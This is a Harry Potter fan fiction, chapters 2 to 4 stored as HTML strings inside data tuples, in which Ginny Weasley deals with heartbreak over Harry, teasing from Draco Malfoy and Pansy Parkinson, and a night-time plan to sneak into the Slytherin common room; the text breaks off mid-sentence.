	(25, 2, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Chapter 2 A shocking surprise</title>\n\n\n\n<b><u><p>Chapter 2 A shocking surprise</p>\n\n</u></b><p>&quot;You\'re going to get it Malfoy!&quot; Ginny huffed as she dashed off down the corridor to confront him. She stared straight ahead, her mind so fixed on Draco she didn\'t see the door open two inches from her face. It smacked into her, sending her flying onto the cold stone floor.</p>\n\n<p>&quot;OUCH!&quot; she roared rubbing her sore face. Ginny looked up, her chocolate eyes swirling with anger only to meet the half composed, half annoyed Ron. He extended a hand to her, and pulled his little sister up in one swoop.</p>\n\n<p>&quot;Sorry Gin, about the mess with Draco, and the door,&quot; he chortled looking at her ever reddening face. Her dagger eyes shot up to him.</p>\n\n<p>&quot;Why are you laughing?&quot; she barked placing her hands firmly on her hips.</p>\n\n<p>&quot;You just look so... how shall I say this, red?&quot; he pointed out. Ginny looked down at her outfit. A Gray skirt, red blouse, black robes. She looked down at her wrist to see her red scrunchie gripping it, and then she tugged on her red hair.</p>\n\n<p>&quot;Okay, so I\'m red. Do you have a problem with it?&quot; Ginny grumbled. Ron stopped laughing and looked at her quizzically.</p>\n\n<p>&quot;What\'s eating you Gin? I swear, if Malfoy did anything to you I\'ll kill him!&quot; he exclaimed, face hardening. He glanced around himself for Draco, but Draco was nowhere in sight.</p>\n\n<p>&quot;Nothing. It\'s not like you would care anyway. You\'d be too busy doing something with Harry and Hermoine!&quot; Ginny huffed turning her cold back to him. Ron placed a soothing hand on her shoulder.</p>\n\n<p>&quot;Is that what you think? You think I\'d place Harry and Hermione above you?\'\' he asked in his most soothing voice.</p>\n\n<p>&quot;Yes, that\'s exactly what I think... no it\'s what I KNOW!&quot; Ginny snapped turning around and throwing his hand off her shoulder. &quot;You never spend time with me. Everything\'s all about them. Here I can quote some of our conversations for you: \'Hey Ron, want to go to Hogsmead with me?\' \'Sorry Gin, I already promised Harry and Hermione I would go with them!\' Oh and there\'s more Ron, care for me to elaborate?&quot; she practically screamed switching voices for her quotes.</p>\n\n<p>&quot;What about when I wanted to play exploding snap with you... you had to go out with Harry for one thing or another. Or what about when I needed you to help me with my homework? You told me no because you were, gasp, busy! You never spend time with me. Whatever happened to \'family comes first\' Ron?&quot; Ginny sighed, eyes filling with tears, a single tear streaking down her face. Ron extended his hand and brushed it away, unsure of what he was to do.</p>\n\n<p>&quot;Well, are you going to hug me, or just let me stand here crying?&quot; she asked, a small smile creeping across her lips, tears flowing freely down her cheeks. Ron grinned down at her and pulled her into a tight embrace.</p>\n\n<p>&quot;I\'m so sorry Ginny. Honestly I am. I never meant to make you feel so alone,&quot; Ron cooed, rubbing his sister\'s back. She pulled away and wiped the tears from her eyes.</p>\n\n<p>&quot;S\'okay Ron, and yes it was Draco who put me in my foul mood,&quot; she sighed letting her eyes roam the corridor even though it was hopeless looking for him now.</p>\n\n<p>&quot;I knew it! I\'ll get him back for you, I swear I will! No one treats my baby sister like that!&quot; he roared, attempting to run off aimlessly into the halls. Ginny forcefully wrapped her hands around his wrist to stop him.</p>\n\n<p>&quot;Oh no you won\'t Ronald Weasley! This is my battle and I\'ll be the one to fight it!&quot; she warned.</p>\n\n<p>&quot;B-b-b-b-ut!&quot;</p>\n\n<p>&quot;But nothing! I\'m old enough to handle my own problems now. Sheesh Ron, you\'d think you would treat me my age instead of four wouldn\'t you?&quot; Ginny replied raising her eyebrow high into her forehead just as Draco had. A shiver jolted up Ron\'s spine. <i>She looks just like Draco when she does that!</i> He thought.</p>\n\n<p>&quot;You\'re looking at me like I&#8217;ve got ten heads or something again! What is it this time?&quot; she asked unsure whether or not she wanted his answer. He waved his arm muttering that it was nothing. She looked at him skeptically.</p>\n\n<p>&quot;Okay, okay. I won\'t harm a single hair on Draco\'s head, for you at least!&quot; Ron burst out unable to handle the tension that was building between them. Ginny gave him a warm smile.</p>\n\n<p>&quot;Thanks Ron, you don\'t know what it means to me that you\'ve finally seen that I\'ve grown up,\'\' she smiled linking her arm in his.</p>\n\n<p>&quot;May I walk you to class Mr. Weasley?&quot; she asked between giggles.</p>\n\n<p>&quot;It would be your honor!&quot; he joked. She playfully punched him in the arm.</p>\n\n<p>&quot;I need to go get my things for class anyway, will you join me?&quot; she asked seriously. He nodded his head and bounded up the Main Hall\'s steps. She had to rush to keep up with him.</p>\n\n<p>&quot;I saw Draco run out of the Great Hall right after you. Did he say anything to you?&quot; Ron asked, trying to make polite conversation. Ginny squirmed, but he didn\'t seem to notice.</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Er- well, he... uh, he just asked me if I was... er if I was happy being a Muggle-lover and then left,&quot; Ginny finally spat out. She looked curiously over at Ron, wondering if he bought her awful lie. He was staring straight ahead of him.</p>\n\n<p>&quot;Stupid git can\'t even come up with anything new, can he?&quot; Ron finally replied, looking down at Ginny. She offered a weak smile.</p>\n\n<p>&quot;Nope!&quot; she chimed. Ron looked as if he was contemplating something.</p>\n\n<p>&quot;Oh no you don\'t Ron! You promised me you wouldn\'t do anything to him!&quot;</p>\n\n<p>&quot;Awe, come on Gin! Just let me curse his nose off or something!&quot; Ron said, an eager yet psychotic look taking over his face. A huge grin spread crept from ear to ear as he clenched his fists happy at the thought. Ginny stopped walking.</p>\n\n<p>&quot;First of all NO, and second of all, who gave you the sugar?&quot; she asked.</p>\n\n<p>&quot;Puh-wease!&quot; Ron asked, putting on a puppy dog face, ignoring the second part of her question. Ginny huffed.</p>\n\n<p>&quot;Lets just put it this way, if you say a word to Draco about me, I tell Hermione how you sat at home pining over her all summer!&quot; he jumped back with surprise.</p>\n\n<p>&quot;I do no such thing!&quot; he pouted.</p>\n\n<p>&quot;Oh yes you do! Don\'t think I don\'t know what you do in your room, you know I can find all the crumpled up love notes in the trash if I like...&quot; Ginny pointed out. Ron glared at her. Ginny glared back.</p>\n\n<p>&quot;Oh fine!&quot; Ron said throwing his hands up. Ginny smiled.</p>\n\n<p>&quot;Hoghair,&quot; Ginny mumbled to the fat lady who admitted them into the Gryffindor common room. She raced up to her dormitory, grabbed her books, and ran back down to meet Ron. </p>\n\n<p>Ginny stopped abruptly when she saw two figures cuddling in front of the fireplace. Ginny couldn\'t quite make out who they were since the couch\'s back was facing towards her, so she stealthily peeked around the corner of the staircase to see bushy brown hair and straight, yet messy, black hair. Ginny gasped, dropping her books on the floor. </p>\n\n<p>Startled from the clash, she heard them both jump up. Ginny picked up her books, and rounded the corner of the staircase slowly. She saw Hermione\'s eyes pleading her for forgiveness. Ginny turned her gaze away from Hermione and placed them on Harry. She took in his messy tuff of black hair, and his brilliant green eyes shyly peaking out from behind her glasses.</p>\n\n<p>&quot;It\'s not what it looks like,&quot; Harry began twisting his foot on the carpet.</p>\n\n<p>&quot;For Merlin\'s sake, you don\'t need to be apologizing to me.&quot; Ginny choked, fighting back tears. Hermione heaved a sigh as Ron came bounding down the stairs. They all turned their heads to Ron. Harry jerked his head back to Ginny, his eyes pleading her not to tell him. </p>\n\n<p>Ginny felt her heart drop and she flinched with the realization that Harry would never and has never liked her<i>. He only sees me as his best friend\'s little sister... how could I have missed it all these years? What could have possibly have made me think that Harry Potter would like me, Ginny Weasley?</i> She thought, eyes glazing over with tears.</p>\n\n<p>Not able to take it anymore Ginny turned on her heel and ran out of the common room, leaving her brother\'s and his companion\'s eyes lingering on her. Tears streamed down her cheeks in rivers as she ran, her once fiery hair streaming out behind her. The twinkle had disappeared from her eyes. She ducked into the bathroom, running to a stall.</p>\n\n '),
	(25, 3, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Chapter 3 Such a Tease</title>\n\n\n\n<b><u><p>Chapter 3 Such a Tease</p>\n\n</u></b><p>Ginny heard footsteps enter the bathroom.</p>\n\n<p>&quot;Ginny? Are you in here?&quot; she heard Hermione\'s voice call out. Quietly Ginny picked her feet off the floor and onto the toilet so she wouldn\'t be seen. She heard Hermione\'s exasperated huff as she walked out of the bathroom. Ginny let her feet down, burying her head in her hands.</p>\n\n<p>&quot;Having a bad first day back?&quot; a voice squeaked from behind Ginny. She swung her head around coming face to face with Moaning Myrtle.</p>\n\n<p>&quot;No... Just felt like crying.&quot; Ginny snapped sarcastically. A frown spread across Myrtle\'s face.</p>\n\n<p>&quot;Just because I\'m dead doesn\'t give you the right to snap at me!&quot; she grumbled, flying under the stall and crashing into the toilet next to Ginny only seconds later.</p>\n\n<p>Ginny grumbled, annoyed. She couldn\'t even get a moments peace in the girl\'s toilet. She picked up her books, ready to go off to class. She stopped momentarily at the mirror to glance at her reflection. Ginny muttered a spell under her breath, taking the red out of her eyes. She forced a smile, looking at it in the mirror, and then walked out.</p>\n\n<p>&quot;It\'s Malfoy\'s fault really...&quot; Ginny began, blaming her bad day on the most reasonable person. <i>If everyone else can blame him for their troubles, so can I. Besides, he did really start this whole mess. If he hadn\'t kissed me I wouldn\'t be upset, if I wasn\'t upset I wouldn\'t have ran to the common room so late to gather my things. If I had done it earlier I wouldn\'t have seen Harry and Hermione and my whole little secure world would keep on spinning. But would I really have rather not known my dream was crushed?</i> Ginny pointed out to herself.</p>\n\n<p>&quot;What\'s my fault?&quot; she heard a familiar voice drawl, interrupting her thoughts. Ginny swept around to face him, a frown plastered to her face.</p>\n\n<p>&quot;My bad day if you must know!&quot; she mumbled.</p>\n\n<p>&quot;Oh shut it Weasley, we all have our own loads to carry!&quot; he huffed. Ginny looked up at him.</p>\n\n<p>&quot;You know, I don\'t need this right now, okay?&quot; she grunted walking away from him and to her class. He rolled his eyes at her back and continued on his way.</p>\n\n<p>&quot;Who does he think he is?&quot; Ginny grumbled entering Transfiguration. She plopped down next to Colin. His sandy blonde hair loomed over his eyes as he looked at her curiously.</p>\n\n<p>&quot;Care to share?&quot; he asked. Ginny turned to him.</p>\n\n<p>&quot;Wha?&quot; she asked, too busy talking to herself to notice what he had said. Professor McGonogall looked over at them, stood up and began to address the class.</p>\n\n<p>&quot;Oh, just had a bad day so far,&quot; Ginny whispered behind her hand to Colin.</p>\n\n<p>&quot;Just because you hold your hand over your mouth doesn\'t mean that I don\'t know you\'re talking. I\'m sure that if it was important enough to stop me in the middle of the lecture you wouldn\'t mind sharing with the class.&quot; Professor McGonogall snapped. Ginny blushed.</p>\n\n<p>&quot;Sorry Professor. It was nothing,&quot; she mumbled, ashamed. McGonogall gave her a stern nod and continued with her lesson.</p>\n\n<p>*-*-*</p>\n\n<p>&quot;Transfiguration couldn\'t have drug on anymore if you had stopped time!&quot; Colin moaned once he was out of earshot of his teacher.</p>\n\n<p>&quot;Ginny? Yooh Hoo? Anyone home?&quot; Colin asked tapping on Ginny\'s forehead.</p>\n\n<p>&quot;Gerrof Colin!&quot; she giggled, wrenching his hand away.</p>\n\n<p>&quot;That hurt...&quot; he sarcastically sniffed. Ginny smiled, and ran off to the Great Hall.</p>\n\n<p>&quot;I\'m sort of glad we had double Transfiguration today instead of potions. I would have just died if I had to spend the morning with Snape and all his Slytherin cronies.&quot; Ginny smiled walking ahead of Colin. The whole time he was grunting, waving his hands back and forth.</p>\n\n<p>&quot;What is the matter?\'\' Ginny asked swirling around, stopping in her step when she saw Snape looming right over her, his arms crossed firmly across his chest.</p>\n\n<p>&quot;You were saying Miss. Weasley?&quot; he asked narrowing his black, beady eyes.</p>\n\n<p>&quot;I was only saying that transfiguration was stimulating, and it didn&#8217;t drag on like your class&#8230;?&quot; Ginny asked batting her eyelashes. His eye began to twitch, out of the corner of her eye she watched Colin shoot down the hallway begging her to follow. Before Snape could say anything that\'s exactly what she did.</p>\n\n<p>Once she had caught up with Colin in the Common Room he patted her on the back. &quot;That was BRILLIANT Gin! I never knew you had that in you!&quot; </p>\n\n<p>&nbsp;</p>\n\n<p>She smiled appreciatively waving to an invisible crowd. &quot;Thank you, thank you,&quot;</p>\n\n<p>&quot;I\'ve never heard anyone talk to him like that without receiving a detention or any scrap of punishment,&quot;</p>\n\n<p>&quot;I guess I ran away just in the nick of time then, didn\'t I?&quot; Ginny asked, a sly smirk spreading across her mouth. Coiln playfully pushed her on the shoulder.</p>\n\n<p>&quot;Hey!&quot; Ginny shouted, pouncing on him, pinning him to the floor. She scrunched her nose, smiling. &quot;Gotchya!&quot; Colin let out a yelp of protest, flipping her over, jumping on top.</p>\n\n<p>&quot;Who\'s got who now?&quot; he chortled, looking at Ginny\'s disappointed face. He finally sat up, not getting off of Ginny.</p>\n\n<p>&quot;Who\'s the best?&quot; he asked.</p>\n\n<p>&quot;Me!&quot; Ginny giggled.</p>\n\n<p>&quot;Not who I was looking for. I guess I\'ll just have to sit on top of you all day,&quot; Colin sighed, summoning one of his books to him. Ginny gasped with despair as he opened a page, letting his eyes skim over it.</p>\n\n<p>&quot;You wouldn\'t dare!&quot; she screeched, trying to wrench her arms out from under him. He wiggled, making sure he had a tight hold on her. Ginny sat, pondering what to do. Suddenly she sat up, and demanded him to get off of her. When he refused she lifted her head up and bit his leg. Collin yelped in pain and jumped up on his knees, positioned directly above her head.</p>\n\n<p>&quot;Uh...&quot; a voice gasped from behind the two. &quot;If you two are busy with, er- yourselves, I can hold people out of the common room.&quot; Dennis muttered, shielding his eyes with his hands.</p>\n\n<p>&quot;Oh!&quot; Colin gasped, jumping from above Ginny. Abruptly, she sat up, her hair all a mess, and straightened her skirt.</p>\n\n<p>&quot;It\'s not like that at all... really.&quot; Colin babbled, looking at the floor.</p>\n\n<p>&quot;Sounds like me earlier. What have you been busy doing Ginny?&quot; Harry asked, stepping into the common room closely followed by Ron and Hermione. Ginny blushed a crimson red, not daring to look up at them.</p>\n\n<p>&quot;Ginny, I need to speak to you up in my room,&quot; Ron said, forcefully pulling Ginny up to the boy\'s dormitory. Ginny looked back helplessly at Hermione, but was swept up the stairs before she could notice. She heard someone bounding up the stairs as Ron pushed her into his dorm room. He set her on his bed.</p>\n\n<p>&quot;What do you think you were doing with Colin? I know you liked Harry, and I\'m glad you\'ve noticed that he\'s too old for you, but going to this extreme is going a bit too far!&quot; Ron huffed as Harry walked in the door. Ginny flinched as Harry heard Ron\'s speaking her secret aloud.</p>\n\n<p>&quot;You\'re not some scarlet woman Ginny!&quot; he lectured looking down at her disappointed. Harry patted Ron on the shoulder.</p>\n\n<p>&quot;Let her explain, I\'m sure it isn\'t what it looked like,&quot; Harry replied.</p>\n\n<p>&quot;It wasn\'t! Look, he punched me on the shoulder, so I tackled him. Then since he is a boy he turned things around so he was on top and then...&quot; Ginny began, but a wild idea entered her mind from the unbelieving look on her brother\'s face &quot;Then I stripped down right there and we did it like wild animals. We only had time to put our clothes back on before Dennis came in.&quot; Ginny said in her most serious voice, hardly concealing her laughter from Ron\'s gaping mouth and widening eyes. Ron raised his hand as if he was about to strike her, and all Harry could do was drop to the bed in astonishment.</p>\n\n<p>&quot;Oh, I was only joking. He wouldn\'t get off me so I bit him, he sat up and that\'s where you came in,&quot; Ginny chortled. Harry and Ron exchanged a look of relief, turning to Ginny.</p>\n\n<p>&quot;You\'re just lucky Percy, Fred, or George aren\'t still here, they would have just murdered you if they heard that!&quot; Ron huffed, and marched out of the room. Harry half glanced at Ginny, but stopped her when she went to leave.</p>\n\n<p>&quot;Look Ginny, I never knew or anything,&quot; Harry began. She placed her hand over his mouth.</p>\n\n<p>&quot;I knew for a long time that I would only be \'Ron\'s little sister\' to you, although I didn\'t want to believe it,&quot; she muttered, sweeping out the door without another word.</p>\n\n<p>Ginny grabbed Colin\'s hand, dragging him out of the common room with her. He looked at her quizzically, but followed all the same. She took him down a few corridors, around plenty of corners, and finally stopped at a stone gargoyle.</p>\n\n<p>&quot;Oh, how cute, little sixth years sneaking off to snog!&quot; Pansy drawled as she rounded the corner. Ginny turned throwing dagger eyes at her.</p>\n\n<p>&quot;Sod off Parkinson!&quot;</p>\n\n<p>&quot;Watch your tongue around a prefect!&quot; She snapped, throwing out her chest to show her shiny silver prefect badge.</p>\n\n<p>&quot;Does it look like I care? No, so go!&quot;</p>\n\n<p>&quot;Oh, alright. I\'m just glad I can get real men like Draco,&quot;</p>\n\n<p>&quot;Oh you mean dogs, sure!&quot; Ginny sputtered marching away.</p>\n\n<p>&quot;Uh... Ginny?&quot; Colin asked, chasing after her.</p>\n\n<p>&quot;Yes?&quot; she asked.</p>\n\n<p>&quot;We sort of need to get to class, mind ranting about things after charms?&quot; he pondered aloud. Ginny nodded her head and bounded off to class.</p>\n\n<p>*_*_*</p>\n\n<p>&quot;Where were you all through charms?&quot; Colin demanded.</p>\n\n<p>&quot;Just thinking about how to get back at Malfoy and Parkinison!&quot;</p>\n\n<p>&quot;Er- why? They do that all the time...&quot;</p>\n\n<p>&quot;Because I\'m sick of being picked on. It\'s time they got what they deserved!&quot;</p>\n\n<p>&quot;Need some help?&quot;</p>\n\n<p>&quot;No, I\'ve got a plan... but you need to cover for me since I&#8217;m going to skip Defense Against The Dark Arts. Just tell Lupin that I had to deal with some snakes,&quot; Ginny spluttered taking off.</p>\n\n<p>Ginny tip toed up to the boy\'s dormitory, slowly creaking open the door. Seeing that no one was inside she crept in<i>. Now, Ron\'s told me about Harry\'s cloak before so it has to be in here somewhere!</i> Ginny thought anxiously, throwing odds and ends out of Harry\'s trunk.</p>\n\n<p>She let out a gasp of surprise, and happiness, when she found the silvery cloak burried at the bottom. She picked it up, splashing it out behind her. Making sure it worked; she pulled it tightly about her. Her head remained the only visible thing. Ginny twirled around in delight. Careful not to rip it, she took it off, folded it, and tucked it inside her robes.</p>\n\n<p>She crept down to the common room, not bothering to clean up after herself, and tore out of the portrait before anyone could ask her anything. Small tendrils of hair streamed across her face as she ran down the hallway. Ginny paused, looking out the window at the setting sun. She plopped down on the window seat and watched the sun until it has vanished beyond the horizon.</p>\n\n<p>&quot;Daydreaming Weasley?&quot; Draco suddenly drawled from behind her. The tiny redhead whipped around.</p>\n\n<p>&quot;No!&quot; she snapped, her hands balling into fists next to her sides. She looked up at Draco, his blonde hair, gray eyes, and then her eyes fell on his lips. She felt herself lean onto the wall, biting her lower lip. Draco offered her a cold, cruel laugh.</p>\n\n<p>&quot;Looks like you want another kiss eh?&quot; Ginny\'s eyes flashed, resurfacing on his eyes once more.</p>\n\n<p>&quot;Certainly not!&quot; she huffed, turning on her heel. </p>\n\n<p>Draco reached out touching her hair softly, gently. Ginny\'s guard dropped at his touch. She exhaled, yearning for him to hold her. She slowly turned around, facing him. His softened eyes looked into her, searching her. Ginny lifted herself up on her tiptoes a bit so she didn\'t seem so short, closing her eyes. His hand caressed her milky skin, making her tremble under his touch. Ginny\'s inside went all a flutter as she felt his face drawing closer to hers, his warm breath swirling across her face.</p>\n\n<p>Ginny peeked open her eyes to take a glance at him. Draco, seeing that she was looking at him, pulled out a piece of toast, and took a large bite.</p>\n\n<p>&quot;This is really good you know,&quot; he muttered, sprinting off into the hallway just in time to avoid Ginny\'s punch. She growled under her breath, muttering to herself that she would get him soon enough and ducked into the nearest bathroom.</p>\n\n<p>Ginny dashed into one of the girl\'s stalls, placing the cloak across her shoulders. Instantly she was invisible. Ginny smiled inwardly, dashing off to dinner.</p>\n\n '),
	(25, 4, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Chapter 4 Redhead\'s Revenge</title>\n\n\n\n<b><u><p>Chapter 4 Redhead\'s Revenge</p>\n\n</u></b>\n\n<p>&quot;Gosh I swear, little Gryffindors trying to sneak out... it\'s repulsive!&quot; Pansy shrieked from the Slytherin table.</p>\n\n<p>&quot;Who did you catch this time?&quot; a tall brunette asked Pansy, her amber eyes twinkling with wonder.</p>\n\n<p>&quot;Get this, Weasley and Creevy!&quot; Pansy roared, bursting into laughter.</p>\n\n<p>&quot;I always knew Creevy was a bit on the curved side if you get my point, but I thought he would go after Potter, not Weasley!&quot; the brunette pointed out. Suddenly her chair jerked out from under her.</p>\n\n<p>&quot;What in the bloody hell was that?&quot; the brunette asked dumb-founded, looking wildly around her, seating herself properly.</p>\n\n<p>&quot;It was nothing Nevaeh, don\'t worry about it,&quot; Pansy sighed turning to back to her food. &quot;Anyway, it was the Weasley <i>girl</i> that snuck off with Creevy!&quot; Pansy snickered, stuffing a spoon of mashed potatoes in her mouth. Nevaeh gasped in surprise.</p>\n\n<p>&quot;NO! I thought she was too busy worshiping Potter too...&quot; Nevaeh trailed off.</p>\n\n<p>&quot;That\'s what I thought, but apparently she was really flustered when I mentioned it to her,&quot; Pansy concluded, her spoon of mashed potatoes flying up in her face. She groaned in disgust, wiping her face off with her napkin.</p>\n\n<p>&quot;I swear if that\'s Peeves, I\'ll sick the Bloody Baron himself on him!&quot; Pansy spat, sitting up. Nevaeh followed suit, and bounded down the stairs to the dungeons. Pansy stopped short at a small stone gargoyle.</p>\n\n<p>&quot;I thought no one was supposed to use magic outside of class!&quot; Nevaeh huffed as she stopped next to Pansy.</p>\n\n<p>&quot;You know no one regards the rules, especially not Slytherins!&quot; Pansy spat at her feet. Nevaeh backed up a bit.</p>\n\n<p>&quot;Geze Pansy, you don\'t need to go all psycho on me!&quot;</p>\n\n<p>&quot;And you don\'t need to go soft on me. Perhaps you need to transfer to Gryffindor or something, you\'ve been acting really strange lately,&quot; Pansy spat, tossing her golden ringlets over her shoulder.</p>\n\n<p>&quot;Now what\'s the password again?&quot; she wondered aloud.</p>\n\n<p>&quot;Ice,&quot; Nevaeh answered, placing her hand over the gargoyle. A pale green light emitted through the top of its head, a trap door appeared next to them on the floor. Pansy opened it up and trotted through, stopping momentarily when she saw a nearby vase fall over. She shrugged it off, blaming it on Peeves, and disappeared into the floor.</p>\n\n<p>Ginny wiped nervous sweat from her brow when she saw Pansy finally vanishing into the Slytherin Common Room. She heaved a sigh, chanting the Slytherin password over and over in her head as she slumped back to the Gryffindor Common Room. She ducked into the bathroom once more, removing the cloak from her rounded shoulders, quickly tucking it into her school robes. She dashed off to the portrait of the fat lady.</p>\n\n<p>Minutes later Ginny found herself mumbling her own password, climbing inside to her cozy room. Before she could even hit the steps, a blurred figure bounded up to Ginny.</p>\n\n<p>&quot;Where did you go anyway you little sneak?&quot; Colin asked, his eyes practically brimming over with eagerness. Ginny smiled at him, reached up, and patted his head.</p>\n\n<p>&quot;Dear, dear Colin; you\'ll just have to wait and see!&quot; she sighed.</p>\n\n<p>&quot;Awe, come on! You can tell me,&quot; he persisted.</p>\n\n<p>&quot;Oh I would tell you, but, the thing is...&quot;</p>\n\n<p>&quot;WHAT?&quot;</p>\n\n<p>&quot;I, er- well, I um,&quot;</p>\n\n<p>&quot;JUST TELL ME GINNY!&quot;</p>\n\n<p>&quot;You see the thing is, I haven\'t technically done anything yet...&quot; she mumbled, looking at her feet.</p>\n\n<p>&quot;What do you mean you haven\'t done anything? I covered you so you could sit around doing NOTHIING? Lupin nearly bit off my head when I told him Nelley accidentally transfigured your finger into a deformed pencil and you had to see Madame Pomfrey!&quot; Colin huffed, disappointment oozing from his voice.</p>\n\n<p>&quot;I\'ll do it tonight, I promise. Just let me get some sleeep!&quot; Ginny yawned, placing her hand over her mouth.</p>\n\n<p>&quot;Oh alright, I just can\'t see why you won\'t tell me what you\'re going to do!\'\' Colin shouted at her fading figure.</p>\n\n<p>She lifted her foot to the top stair, determined to get some peace and quiet in her room. After all she needed to rest if she was going to sneak into the Slytherin common room. Ginny twisted the doorknob to the sixth year&#8217;s girl&#8217;s dorm, and trudged over to her bed. She plopped down, fully clothed, passing out within an instant.</p>\n\n<p>*_*_*</p>\n\n<p>Ginny\'s eyes snapped open as her bedside lamp flickered out. She snapped up in her bed, swinging the curtains her roommate had kindly pulled shut, open; and glanced at her watch that was lying on the table. Ginny\'s eyes grew wide with horror upon seeing that the clock read midnight. She jumped out of bed, wiggling her slippers on. She creaked open the door, careful not to shine the hall\'s light on any of her roommates.</p>\n\n<p>Ginny flew down the hallway, placing the cloak over her as she ran. One awake portrait oohed as Ginny suddenly disappeared. She flinched<i>. Bad move Ginny, if they find out what you\'re doing you could get expelled.</i> She stopped in her tracks at the thought. <i>I could get expelled.</i> Ginny bit her bottom lip, contemplating whether she should, or not.</p>\n\n<p>&quot;If you don\'t do it now, they\'ll never be put in their place,&quot; the portrait called out, aware that Ginny had stopped.</p>\n\n<p>&quot;Slytherins gave me trouble too, don\'t worry, I won\'t tell,&quot; the portrait called out again. Ginny sighed, relieved at the portrait\'s words and dashed off once more, not bothering to see it was a portrait of Godric Gryffindor. </p>\n\n<p>Her heartbeat pounded with nerves as she dashed down the Main Hall\'s stairs. Her every step seemed to echo through the castle, and around every corner she could have sworn that she heard Filch or Miss. Norris. Ginny panted as she stopped at the stone gargoyle deep in the depths of the icy dudgeon.</p>\n\n<p>A shiver rushed up her spine as a burst of wind swept through the hallway, whipping her cloak off her frigid back. Ginny ducked down on the floor, her hands searching frantically for the liquid-like cloak. Her shirt fell off her shoulder revealing her milky skin kissed with freckles. She reached around the gargoyle, her hand falling on the silky material.</p>\n\n<p>&quot;Exactly what do you think you\'re doing in the dungeons so late at night?&quot; Draco\'s voice scolded from behind her. Ginny jumped, bumping her head. She hurriedly pushed the cloak into the nearest crease in the gargoyle. She got up, smoothing her skirt.</p>\n\n<p>&quot;Tell me, why should I explain myself to you&#8230;&quot; Ginny snapped, the moonlight caressing her face, setting her hair into a blaze. Her chocolate eyes narrowed with scorn. Draco only pointed at his prefect badge. He took a step close to Ginny. She heaved a sigh; determined not to let her body\'s will take over her mind. She couldn\'t help but tense up when he trailed his finger over her pale shoulder, tracing her freckles to her shirt.</p>\n\n<p>&quot;You should really keep your clothes on,&quot; he muttered, pulling her sleeve up her shoulder. Conflicting pain surged throughout Ginny\'s body. She gracefully stepped up close to him, her mind screaming out no. Her mouth filled with saliva, she licked her lips to moisten them. He moved close to her, sweeping her fiery hair behind her ear. He slid his hand down to her cheek, smoothly cupping her face. Butterflies flew up into Ginny\'s chest; she breathed harder and harder as he closed his eyes, face leaning into hers.</p>\n\n<p>Her mind regaining control, Ginny pushed her hands out, pressing them into Draco\'s chest. He stumbled backwards, eyes narrowing into daggers.</p>\n\n<p>&quot;What in the bloody hell did you do that for?&quot; he screeched, smoothing his hair onto his head. Ginny bit her bottom lip, backing up slowly. Draco raised his arm as to strike her. She flinched, waiting for the blow, only it didn\'t come. Draco huffed in frustration, smashing a nearby vase into pieces, finally sliding into the trap door.</p>\n\n<p>Before Ginny knew what she was doing, she slipped her slipper in the door. Ginny\'s eyes widened as she took in the whole situation. It played back right in front of her face. She slumped to the floor, realizing how helpless she was with him. Her hand raised to her face, slowly touching the spot he caressed her cheek.</p>\n\n<p>&quot;Why? GOD DAMN IT, WHY?&quot; Ginny sobbed, pounding her fist on the floor. With every shuddered breath she took in, the more she despised him.</p>\n\n<p>&quot;How can he make me forget everything I stand for with just a single word? How can he make me lose control? Oh, his smirk... God how I hate his smirk. I hate the way he touches me, the way he breathes, even the way he makes me want to kiss him! The way his hair casually falls over his eyes is unnerving. I just hate the fact that I can\'t keep my mind off of him,&quot; Ginny shuddered, her hands raking through her pin straight hair. </p>\n\n<p>She sighed, picking up the invisibility cloak. She wrapped it tightly around her. Silently, she stood up, tip toeing to the trap door. She opened it up, returning her slipper to her foot, and crept down inside.</p>\n\n<p>A slight chill filled Ginny as she walked down the winding stairs. The coldness of the stone crept through her slippers, freezing her feet. She shivered, pulling the cloak closer to her and continued walking down. Her eyes became droopy with every passing minute. Finally she reached a tall silver door, stone snakes tracing the outlines. Ginny gasped in surprise, a scene from her first year flashing back in her mind.</p>\n\n<p>&gt;Flashback&lt;</p>\n\n<p>&quot;Come Virginia, I promise everything will be all right,&quot; Tom\'s sugary voice called out, pushing Ginny to open the doors of the Chamber. Her small, frail hand reached out, shaking. She wrapped her frigid fingers around the doorknob, a snake\'s head. It\'s eyes moved, staring up at her. Ginny\'s fingers retreated as she jumped back in surprise.</p>\n\n<p>&quot;I, I... I can\'t do this. I\'m sorry Tom, I can\'t...&quot; Ginny sobbed, tears streaming down her face.</p>\n\n<p>&quot;Ginny, you must. I... I need you. Do you hear me? I need you to help me. If you truly want to be with me, you will let me inside!&quot; the diary screamed at Ginny. She clutched it closely reaching out for the door once again. She looked away as the snake handle hissed at her, twisting the door open.</p>\n\n<p>&quot;Good Ginny, good! Now set me down,&quot; Tom called out. Ginny hesitantly dropped the diary, it\'s fall echoing in her head. She slumped to the floor, afraid. Tom\'s arm came twisting out of the diary, followed by his head and body. She couldn\'t bare to look on any further, so she burried her head in her skirt.</p>\n\n<p>She felt a slight tap on her shoulder, immediately picking up her head. Tom stood towering over her. His transparent figure reached out a hand to her. She reached up taking hold of his hand. Surprisingly enough, it was solid, and warm. Ginny shyly smiled up at him.</p>\n\n<p>&quot;I told you everything would be alright Virginia,&quot; Tom cooed, pulling her into his arms. She felt warmth spreading through out her freezing body. Tom looked down at her.</p>\n\n<p>&quot;Ginny, I\'m sorry,&quot; he whispered, planting his lips firmly on hers. Ginny\'s eyes snapped closed as she kissed him back. A ghostly light passed through their lips, making Tom whole, color fading from Ginny\'s body. She felt weak, and wrapped her arms around Tom for support. He pulled out of their kiss, looking down at her. His fingers wrapped themselves around tendrils of her hair, as his eyes stared into her chocolate orbs.</p>\n\n<p>&quot;Tom, I\'m glad that I got your diary and; I... I,&quot; Ginny began, but fainted to the wet stone floor before she could finish her sentence.</p>\n\n<p>&gt;End of Flashback&lt;</p>\n\n<p>Ginny shivered, remembering his warm lips covering her own. She remembered how grateful she was to have a friend who listened to her with so much attention. She shook Tom from her mind, reminding herself that he only used her. Used her to open the Chamber and make himself whole. He didn\'t need her then. Just like Draco.</p>\n\n<p>&quot;They\'re using me, plain and simple,&quot; Ginny sighed to herself, extending her hand so it reached the doorknob. Hesitantly, she wrapped her fingers around it, closing her 